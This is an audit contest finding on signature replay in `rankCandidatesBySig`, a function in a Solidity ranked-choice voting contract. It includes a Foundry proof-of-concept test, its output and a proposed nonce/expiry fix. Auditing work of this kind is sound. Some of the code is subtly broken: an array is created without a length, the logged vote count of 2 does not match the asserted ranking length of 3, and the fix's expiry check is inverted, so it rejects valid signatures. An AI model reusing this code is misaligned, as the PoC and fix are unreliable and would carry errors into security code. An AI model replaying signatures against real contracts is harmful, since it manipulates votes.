President Elector

First Flight #24
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Signature Reuse issue in rankCandidatesBySig Allows Multiple Voting

Summary

The rankCandidatesBySig function is vulnerable to signature reuse, allowing potential replay attacks that could manipulate voting outcomes.

Vulnerability Details

The rankCandidatesBySig function allows users to submit votes using a signature but lacks proper protection against signature reuse. The relevant code is as follows:

function rankCandidatesBySig(
address[] memory orderedCandidates,
bytes memory signature
) external {
bytes32 structHash = keccak256(abi.encode(TYPEHASH, orderedCandidates));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
_rankCandidates(orderedCandidates, signer);
}

The function verifies the signature and executes the vote, but it doesn't include any mechanism to prevent the same signature from being used multiple times. This oversight allows for potential replay attacks.

Impact

  • Vote Manipulation: A Malicious Voter could reuse a valid signature multiple times inflating the vote count for certain candidates.

  • Lack of Democracy: The integrity of the voting process is compromised.

  • Results Manipulation: The final election outcome could be significantly altered, not reflecting the true intentions of the voters.

In addition to the mentioned impact, the issue presents 3 more possible attack scenarios:

  1. A malicious voter could reuse signatures from other voters who share the same first ranked candidate. This could significantly boost the chances of a particular candidate especially in a close race.

  2. A malicious voter could create their own signature with their preferred candidate list and reuse it multiple times. This gives the malicious voter multiple votes, greatly increasing the voter's voting power.

  3. The issue allows for signature reuse not just immediately, but in future voting rounds as well. This could lead to long-term manipulation of the voting process across multiple elections or voting periods.

Proof Of Concept

A Foundry test that demonstrates the issue:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {RankedChoice} from "../src/RankedChoice.sol";
contract RankedChoiceTest is Test {
RankedChoice public rankedChoice;
address[] public voters;
address[] public candidates;
function setUp() public {
// Setup voters and candidates
for (uint256 i = 0; i < 5; i++) {
voters.push(address(uint160(i + 1)));
candidates.push(address(uint160(i + 100)));
}
rankedChoice = new RankedChoice(voters);
}
function testSignatureReuse() public {
address voter = voters[0];
address[] memory orderedCandidates = new address[]();
orderedCandidates[0] = candidates[0];
orderedCandidates[1] = candidates[1];
orderedCandidates[2] = candidates[2];
// Create a signature
bytes32 domainSeparator = rankedChoice.DOMAIN_SEPARATOR();
bytes32 structHash = keccak256(abi.encode(rankedChoice.TYPEHASH(), orderedCandidates));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, digest);
bytes memory signature = abi.encodePacked(r, s, v);
// First vote succeeds
vm.prank(address(0));
rankedChoice.rankCandidatesBySig(orderedCandidates, signature);
// Second vote with the same signature also succeeds, demonstrating ths issue
vm.prank(address(0));
rankedChoice.rankCandidatesBySig(orderedCandidates, signature);
// Check that the vote was counted twice
address[] memory voterRanking = rankedChoice.getUserCurrentVote(voter);
assertEq(voterRanking.length, 3, "Vote should be counted");
assertEq(voterRanking[0], candidates[0], "First candidate should match");
assertEq(voterRanking[1], candidates[1], "Second candidate should match");
assertEq(voterRanking[2], candidates[2], "Third candidate should match");
// Log the vote count for clarity
console2.log("Vote count for voter:", voterRanking.length);
}
} //Foundry is a super power! Thank you Cyfrin!

When running this test, we get the following result:

➜ 2024-09-president-elector git:(main) ✗ forge test --match-test testSignatureReuse -vvv
[⠔] Compiling...
[⠒] Compiling 1 files with 0.8.24
[⠃] Solc 0.8.24 finished in 3.05s
Compiler run successful!
Running 1 test for test/RankedChoiceTest.t.sol:RankedChoiceTest
[PASS] testSignatureReuse() (gas: 246023)
Logs:
Vote count for voter: 2
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.87ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

  • Foundry

  • Manual Review

Recommendations

To mitigate this issue, we can implement the following changes:

  1. Introduce a nonce system:

    • Add a mapping to track nonces for each voter: mapping(address => uint256) private s_nonces;

    • Include the nonce in the signature data.

    • Increment the nonce after each successful vote.

  2. Add an expiration time for signatures to limit their validity period.

/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
// ... existing code ...
error RankedChoice__Invalid_Nonce(); //this error to handle Invalid Nonce
error RankedChoice__ExpiredSignature(); //this error to handle Signature Expiry
// ... rest of the code ...
function rankCandidatesBySig(
address[] memory orderedCandidates,
uint256 nonce,
uint256 expiry,
bytes memory signature
) external {
if(block.timestamp <= expiry) {
revert RankedChoice__ExpiredSignature();
}
bytes32 structHash = keccak256(abi.encode(
TYPEHASH,
orderedCandidates,
nonce,
expiry
));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
if(s_nonces[signer] != nonce) {
revert RankedChoice__Invalid_Nonce();
}
s_nonces[signer]++;
_rankCandidates(orderedCandidates, signer);
}

In addition to the fix mentioned, make sure you:

  • Implement a mechanism to ensure each voter can only have one active vote per voting round, regardless of the number of signatures submitted.

  • Consider adding a voting round identifier to the signature data to prevent cross-round signature reuse.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Replay Attack - The same signature can be used over and over

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.